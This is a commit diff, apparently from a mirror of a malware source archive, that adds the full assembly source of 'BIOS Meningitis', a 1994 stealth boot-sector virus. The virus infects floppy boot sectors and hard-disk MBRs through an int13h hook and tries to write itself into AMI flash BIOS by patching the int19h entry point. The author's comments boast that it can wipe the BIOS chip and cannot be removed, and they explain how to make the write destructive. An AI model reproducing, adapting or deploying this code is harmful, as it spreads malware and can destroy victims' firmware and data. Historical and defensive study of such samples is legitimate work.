mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,467 @@
|
||||
;.........................................................................
|
||||
;
|
||||
; -=[ BIOS Meningitis ]=-
|
||||
; Qark/VLAD
|
||||
;
|
||||
;
|
||||
; Basic boot sector virus with a twist.
|
||||
;
|
||||
; The worlds first flash BIOS infecting virus!
|
||||
;
|
||||
; I _just_ fit all this into 512 bytes. Infact there is only four bytes
|
||||
; spare... there wasn't even enough room for the name! It used to copy
|
||||
; the partition table to the end of the virus but that is 64 bytes that
|
||||
; just couldn't spared, so now you if you boot from a floppy disk, the
|
||||
; hard disk won't be accessible. But it's a full stealth virus apart
|
||||
; from that.
|
||||
;
|
||||
; If you have flash BIOS on your computer there is a chance it will fuck
|
||||
; it up! I'm talking wiped BIOS chip type fucked! You WONT be able to
|
||||
; remove this virus!!!
|
||||
;
|
||||
; The results of any tests of this with flash BIOS would be appreciated.
|
||||
;
|
||||
; Assemble with A86 as always.
|
||||
;
|
||||
;.........................................................................
|
||||
|
||||
|
||||
;On entry to the boot sector DL=Drive booted from.
|
||||
|
||||
org 0
|
||||
|
||||
mov si,7c00h
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
|
||||
cli
|
||||
mov ss,ax ;Setup the stack
|
||||
mov sp,si
|
||||
sti
|
||||
|
||||
mov ds,ax ;DS,CS,ES,SS=0
|
||||
|
||||
;*** 40:[13] - memory in k's - reduce by one or so ***
|
||||
|
||||
dec word ptr [413h] ;0:413 = Memory in K, Sub one K.
|
||||
|
||||
int 12h ;Get memory into AX
|
||||
;Since memory is in K we have to
|
||||
;multiply by 1024. To do that we
|
||||
;would SHL AX,10. But because we are
|
||||
;looking for the segment that takes
|
||||
;4 bits off the equation.
|
||||
|
||||
mov cl,6
|
||||
shl ax,cl ;Thus SHL AX,6
|
||||
mov es,ax ;ES = Virus Segment
|
||||
|
||||
|
||||
;*** read virus sector into TOM (top of memory) ***
|
||||
|
||||
xor di,di
|
||||
mov cx,200h
|
||||
cld
|
||||
rep movsb ;Move virus to ES:0
|
||||
|
||||
mov ax,word ptr [13h*4] ;Get int13h from vector table.
|
||||
mov word ptr es:[offset i13],ax
|
||||
mov ax,word ptr [13h*4+2]
|
||||
mov word ptr es:[offset i13+2],ax
|
||||
|
||||
mov word ptr [13h*4],offset handler
|
||||
mov word ptr [13h*4+2],es
|
||||
|
||||
already_resident:
|
||||
|
||||
push es
|
||||
mov ax,offset restart
|
||||
push ax
|
||||
retf
|
||||
|
||||
Restart:
|
||||
;Load the original bootsector from the end of the root directory and
|
||||
;execute it.
|
||||
xor ax,ax
|
||||
call int13h
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov bx,7c00h ;Where it's meant to be.
|
||||
|
||||
mov cx,2 ;Read HD boot strap from MBR.
|
||||
xor dh,dh
|
||||
mov ax,201h ;Read one sector from root directory.
|
||||
cmp dl,80h
|
||||
jae MBR_Loader
|
||||
;load up floppy
|
||||
mov cl,14 ;Cylinder=0, Sector=14
|
||||
mov dh,1 ;Head=1
|
||||
|
||||
MBR_Loader:
|
||||
call int13h
|
||||
|
||||
push dx ;DL=Drive we are at.
|
||||
|
||||
cmp byte ptr cs:flash_done,1 ;flash is already infected.
|
||||
je flash_resident
|
||||
|
||||
call flash_BIOS ;Infect flash BIOS if any.
|
||||
|
||||
Flash_resident:
|
||||
|
||||
pop dx
|
||||
|
||||
db 0eah ;JMPF 0000:7C00H
|
||||
dw 7c00h
|
||||
dw 0
|
||||
|
||||
Stealth:
|
||||
|
||||
mov cx,2
|
||||
mov ax,201h
|
||||
cmp dl,80h
|
||||
jae hd_stealth
|
||||
mov cl,14
|
||||
mov dh,1
|
||||
hd_stealth:
|
||||
call int13h
|
||||
jmp pop_exit
|
||||
res_test:
|
||||
xchg ah,al
|
||||
iret
|
||||
Handler:
|
||||
cmp ax,0abbah
|
||||
je res_test
|
||||
cmp ah,2 ;Reading the first sector ?
|
||||
jne jend
|
||||
cmp cx,1
|
||||
jne jend
|
||||
cmp dh,0
|
||||
jne jend
|
||||
|
||||
try_infect:
|
||||
|
||||
call int13h
|
||||
jc jend
|
||||
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
;Test if already infected.
|
||||
|
||||
cmp word ptr es:[bx + offset marker],'LV'
|
||||
je stealth ;Already infected.
|
||||
|
||||
cmp dl,80h ;C:
|
||||
jb infect_floppy
|
||||
|
||||
mov cx,2 ;Sector 2 - Empty MBR space.
|
||||
xor dh,dh
|
||||
jmp write_virus
|
||||
|
||||
Infect_Floppy:
|
||||
;Store at end of root directory for floppy drives.
|
||||
;(Will fuck up on 360k but I dont give a shit!)
|
||||
|
||||
mov cx,14 ;Cylinder=0, Sector=14
|
||||
mov dh,1 ;Head=1
|
||||
|
||||
Write_Virus:
|
||||
;Write original boot sector to spare room.
|
||||
|
||||
mov ax,301h
|
||||
call int13h
|
||||
jc pop_exit
|
||||
|
||||
;The virus is written at this point.
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov byte ptr cs:flash_done,0
|
||||
|
||||
xor bx,bx
|
||||
mov ax,301h ;Write virus.
|
||||
mov cx,1
|
||||
xor dh,dh
|
||||
call int13h
|
||||
|
||||
Pop_Exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
retf 2
|
||||
|
||||
jend:
|
||||
db 0eah ;Stands for Jmpf
|
||||
i13 dd 0 ;The original int13h
|
||||
|
||||
|
||||
Int13h proc near
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[i13]
|
||||
ret
|
||||
|
||||
Int13h endp
|
||||
|
||||
Marker db 'VLAD' ;Running out of room so small
|
||||
;marker.
|
||||
|
||||
|
||||
Flash_BIOS Proc Near
|
||||
|
||||
; Flash BIOS infection (c) 1994 Qark/VLAD!
|
||||
|
||||
;Disclaimer: If any of this wrecks your computer that's your bad luck
|
||||
;because you know this is dangerous code.
|
||||
|
||||
;I just hope that AMIFLASH is loaded at boot and isn't a driver. Since it's
|
||||
;written by a BIOS maker you'd think so...
|
||||
|
||||
|
||||
mov ax,0e000h ;Get flash BIOS number.
|
||||
int 16h ;Test for its presence.
|
||||
jc no_flash_bios
|
||||
cmp al,0fah ;<-- gotta test this
|
||||
jne no_flash_bios
|
||||
|
||||
Infect_Flash:
|
||||
|
||||
;We are now working with AMIFLASH!
|
||||
|
||||
;First we'll find a nice place to store our virus.
|
||||
; We'll scan between F000-FFFF where BIOS is normally stored for
|
||||
; a 1K chunk of consecutive zeros. (We might only need half a K
|
||||
; but I'm overplanning)
|
||||
|
||||
mov ax,0f000h ;ROM BIOS segment
|
||||
mov ds,ax
|
||||
|
||||
New_segment:
|
||||
|
||||
xor si,si
|
||||
xor dx,dx
|
||||
|
||||
ok_new_segment:
|
||||
|
||||
inc ax
|
||||
mov ds,ax
|
||||
|
||||
cmp ax,0fff0h ;No room for our virus.
|
||||
je no_flash_BIOS
|
||||
Test16:
|
||||
cmp word ptr [si],0 ;Scan words
|
||||
jne new_segment
|
||||
|
||||
inc dx ;DX is our free room counter.
|
||||
cmp dx,512 ;1024 byte buffer found (512x2)
|
||||
je found_storage
|
||||
|
||||
inc si
|
||||
inc si ;Coz we are messing with words.
|
||||
|
||||
cmp si,16 ;We are going up in paragraphs.
|
||||
je ok_new_segment
|
||||
jmp test16
|
||||
|
||||
|
||||
Found_storage:
|
||||
sub ax,40h ;Sub 1K (40hx16=1024)
|
||||
mov ds,ax ;Coz we are using segments
|
||||
|
||||
mov ax,0e001h ;Chipset save requirement.
|
||||
int 16h
|
||||
|
||||
;BX=Number of bytes to Save Chipset.
|
||||
|
||||
cmp bx,512
|
||||
jbe save_chipset
|
||||
|
||||
;We won't bother saving the chipset because it takes up more room
|
||||
;than our virus buffer can store. Fuck em :)
|
||||
|
||||
mov byte ptr cs:chipset,1 ;Indicate we haven't saved anything.
|
||||
|
||||
jmp write_enable
|
||||
No_Flash_BIOS:
|
||||
ret
|
||||
save_chipset:
|
||||
mov byte ptr cs:chipset,0 ;We've saved stuff.
|
||||
|
||||
mov al,2
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
mov di,offset buffer
|
||||
int 16h ;Chipset Status to ES:DI
|
||||
|
||||
write_enable:
|
||||
|
||||
mov al,5
|
||||
int 16h ;Raise Voltage (this may take time).
|
||||
|
||||
mov al,7 ;Flash Write Enable.
|
||||
int 16h
|
||||
|
||||
;Flash Memory is now writable. I am working on nothing here
|
||||
;so I'll assume you just write to it normally and it'll be
|
||||
;put there. If you were into writing destructive payloads
|
||||
;this would be the mother of them all. Just load CX with 0ffffh
|
||||
;to trash their computer. Also, leaving the computer in this
|
||||
;state for extended periods could cause damage (Dunno ? Their
|
||||
;electricity bill would go up at least :)
|
||||
|
||||
push ds
|
||||
pop es ;DS=ES=Place to put virus.
|
||||
|
||||
xor di,di
|
||||
mov cx,512 ;<-- FFFF = trouble!
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
xor si,si
|
||||
cld
|
||||
rep movsb ;Move our virus into BIOS.
|
||||
|
||||
;Hopefully our virus is written ?
|
||||
|
||||
;Ok, I looked into this carefully. At bootup int19h points
|
||||
;into the BIOS but thereafter is grabbed by various programs
|
||||
;(Dunno why, its the shittiest interrupt out). So, if you debug
|
||||
;right now it'll point into some shadowed area or else into
|
||||
;segment 70h, but it won't at bootup which is the only time boot
|
||||
;sector viruses get executed so all is cool.
|
||||
|
||||
;What we'll do is modify the actual bytes at the entry point to
|
||||
;the interrupt. You might think I should do something else but
|
||||
;I can't think of any other way of hooking an interrupt at bootup.
|
||||
|
||||
;Priest-P/S reckoned I should just store my virus in the Flash
|
||||
;and let the bootvirus just jump to it or something but then
|
||||
;it's not really infected methinks. He also suggested I just modify
|
||||
;the int13h entry point and restore the bytes etc. Well as you can
|
||||
;see from the involved code needed just to write to flash I think
|
||||
;that with a common interrupt like int13h it isn't feasible.
|
||||
|
||||
;Get Segment:Offset of original int19handler
|
||||
|
||||
mov bx,es ;BX=Virus Segment
|
||||
xor ax,ax
|
||||
mov ds,ax ;DS=Vector Table.
|
||||
mov di,word ptr [19h*4] ;Offset of int19h
|
||||
mov es,word ptr [19h*4+2] ;Segment of 19h
|
||||
|
||||
;Write a JMP FAR at the int19h entry point.
|
||||
mov al,0eah
|
||||
stosb
|
||||
mov ax,offset int19handler
|
||||
stosw
|
||||
mov ax,bx
|
||||
stosw ;Creates a JMPF INT19HANDLER at the
|
||||
;int19h entry point.
|
||||
|
||||
mov ax,0e004h ;Lower Voltage.
|
||||
int 16h
|
||||
|
||||
mov al,6 ;Write Protect.
|
||||
int 16h
|
||||
|
||||
cmp byte ptr cs:chipset,0
|
||||
jne No_Flash_BIOS ;We've done for this one.
|
||||
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
|
||||
mov al,3
|
||||
mov di,offset buffer ;Restore all their shit.
|
||||
int 16h
|
||||
jmp no_flash_bios
|
||||
|
||||
chipset db 0 ;1=chipset not saved
|
||||
flash_done db 0 ;1=loaded from flash.
|
||||
|
||||
;This is our own int19h handler. The original sux because it isn't infected.
|
||||
;(Strange logic :)
|
||||
Int19Handler Proc Near
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax ;ES=0
|
||||
|
||||
mov ax,0abbah ;ABBA - from Muriels Wedding.
|
||||
int 13h
|
||||
|
||||
cmp ax,0baabh ;BAAB - I like these.
|
||||
jne real_int19h
|
||||
|
||||
;We are currently before the boot here. Lets install our virus before
|
||||
;any boot sectors or anything get loaded.
|
||||
|
||||
push cs ;DS=0
|
||||
pop ds
|
||||
cld
|
||||
xor si,si
|
||||
mov di,7c00h
|
||||
mov cx,512
|
||||
rep movsb ;Move our virus from BIOS into boot buffer.
|
||||
mov dl,80h ;Make it think its C:
|
||||
jmp goto_Buffer ;Execute it.
|
||||
|
||||
real_int19h:
|
||||
xor ax,ax
|
||||
int 13h ;Reset disk
|
||||
|
||||
mov cx,1
|
||||
mov dh,0
|
||||
mov ax,201h
|
||||
mov bx,7c00h
|
||||
cmp dl,0
|
||||
ja hd_int19h
|
||||
|
||||
int 13h ;Read boot sector.
|
||||
jc fix_hd
|
||||
|
||||
Goto_Buffer:
|
||||
mov byte ptr es:[7c00h+offset flash_done],1
|
||||
|
||||
db 0eah ;JMPF 0000:7C00
|
||||
dw 7c00h
|
||||
dw 0
|
||||
Fix_HD:
|
||||
mov dl,80h ;Boot from C:
|
||||
HD_Int19h:
|
||||
xor ax,ax
|
||||
int 13h ;Reset controller.
|
||||
mov ax,201h
|
||||
int 13h
|
||||
jc fucked_boot
|
||||
jmp Goto_Buffer
|
||||
|
||||
Fucked_boot:
|
||||
int 18h ;Called when a boot fucks up
|
||||
|
||||
Int19Handler EndP
|
||||
|
||||
Flash_BIOS EndP
|
||||
|
||||
End_Virus:
|
||||
DupSize equ 510 - offset End_Virus
|
||||
db DupSize dup (0)
|
||||
db 55h,0aah ;End of Sector Marker.
|
||||
|
||||
Buffer: ;512 bytes of storage space in here.
|
||||
|
||||
Reference in New Issue
Block a user